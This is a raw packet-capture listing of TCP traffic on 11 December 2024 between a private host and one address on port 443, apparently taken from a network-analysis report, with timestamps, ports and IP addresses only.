Dec 11, 2024 12:59:54.902991056 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.903095961 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.903141022 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.903141022 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.903160095 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.903191090 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.903239012 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.903340101 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.904741049 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.904783010 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.904890060 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.904891014 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.905005932 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.905019045 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.905164003 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.906311035 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.906352997 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.906464100 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.906464100 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.906593084 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.906611919 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.906749964 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.907923937 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.907973051 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.908153057 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.908170938 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.908202887 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.908308983 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.909732103 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.909771919 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.909934998 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.909984112 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.909984112 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.909998894 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.910203934 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.911513090 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.911554098 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.911674023 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.911674976 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.911778927 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.911793947 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.911962032 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.913348913 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.913389921 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.913520098 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.913520098 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.913567066 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.913579941 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.913616896 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.913665056 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.913767099 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.914500952 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.914551020 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.914782047 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.914782047 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.914782047 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.914782047 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.914782047 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.914813042 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.915010929 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.916435003 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.916472912 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.916588068 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.916588068 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.916639090 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.916651964 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.916687965 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.916785955 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.916882992 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.918478966 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.918533087 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.918642998 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.918642998 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.918689966 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.918689966 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.918704987 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.918741941 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.918852091 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.919398069 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.919523954 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.919564962 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.919564962 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.919611931 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.919624090 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.919713020 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.919763088 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.075093985 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.075153112 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.075439930 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.075489998 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.075727940 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.076566935 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.076625109 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.076750040 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.076750040 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.076792002 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.076792955 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.076817036 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.076848030 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.077028990 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.078402042 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.078474998 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.078576088 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.078614950 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.078614950 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.078614950 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.078651905 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.078676939 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.078829050 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.079560041 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.079612017 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.079726934 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.079726934 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.079859018 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.079894066 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.080064058 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.081180096 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.081197977 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.081386089 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.081386089 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.081394911 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.081434011 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.081485033 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.081585884 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.082751989 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.082765102 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.082946062 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.082946062 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.082954884 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.082971096 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.083067894 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.083117008 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.084044933 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.084053993 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.084182978 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.084182978 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.084230900 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.084233999 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.084865093 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.084865093 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.085361958 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.085372925 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.085639000 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.085643053 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.085808039 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.085989952 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.086158991 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.087199926 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.087214947 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.087356091 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.087356091 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.087403059 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.087501049 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.087503910 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.088959932 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.088972092 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.089083910 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.089083910 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.089088917 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.089132071 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.089180946 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.089278936 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.090034008 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.090044022 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.090176105 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.090176105 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.090292931 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.090296984 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.090341091 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.091711044 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.091727018 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.091901064 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.091901064 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.091906071 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.091949940 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.091949940 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.091949940 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.091999054 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.092977047 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.092986107 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.093087912 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.093087912 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.093092918 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.093189001 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.093234062 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.094841003 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.094850063 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.094973087 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.094973087 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.095073938 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.095073938 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.095077991 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.095119953 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.095119953 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.096594095 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.096605062 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.096730947 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.096730947 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.096735954 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.096779108 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.096874952 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.097978115 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.097990036 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.098108053 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.098108053 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.098206997 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.098206997 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.098212004 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.098305941 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.098305941 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.099626064 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.099637985 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.099744081 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.099747896 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.099792957 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.099792957 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.099845886 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.099890947 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.099890947 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.100795031 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.100802898 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.100982904 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.100982904 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.100986958 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.101030111 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.101129055 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.102693081 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.102710009 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.102865934 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.102865934 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.102871895 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.102916956 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.103015900 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.103725910 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.103734970 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.103854895 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.103854895 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.103959084 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.103961945 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.104005098 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.105550051 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.105565071 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.105698109 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.105698109 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.105703115 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.105846882 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.106839895 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.106848001 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.106975079 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.107024908 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.107024908 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.107074022 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.107074022 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.107076883 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.107119083 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.108640909 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.108650923 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.108794928 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.108794928 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.108799934 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.108890057 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.108890057 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.110158920 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.110168934 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.110290051 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.110290051 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.110338926 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.110384941 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.110384941 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.110388994 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.110486984 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.111680984 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.111690998 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.111808062 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.111813068 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.111856937 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.111856937 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.111907959 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.111954927 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.111954927 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.112762928 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.112771988 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.112890005 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.112890005 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.112987995 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.113034010 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.113037109 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.114408970 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.114418983 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.114576101 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.114581108 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.114626884 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.114723921 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.116218090 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.116228104 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.116332054 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.116380930 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.116439104 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.116441965 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.116485119 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.117260933 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.117271900 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.117400885 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.117400885 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.117405891 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.117446899 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.117544889 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.119340897 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.119349957 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.119465113 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.119465113 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.119569063 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.119571924 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.119617939 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.120438099 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.120448112 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.120573044 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.120573044 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.120577097 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.120671034 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.120671034 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.120717049 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.120717049 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.122237921 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.122251987 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.122406006 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.122406006 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.122452021 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.122454882 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.123068094 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.123491049 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.123505116 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.123625040 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.123627901 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.123784065 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.125183105 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.125196934 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.125355005 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.125355005 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.125406981 CET	49763	443	192.168.11.20	104.21.1.51
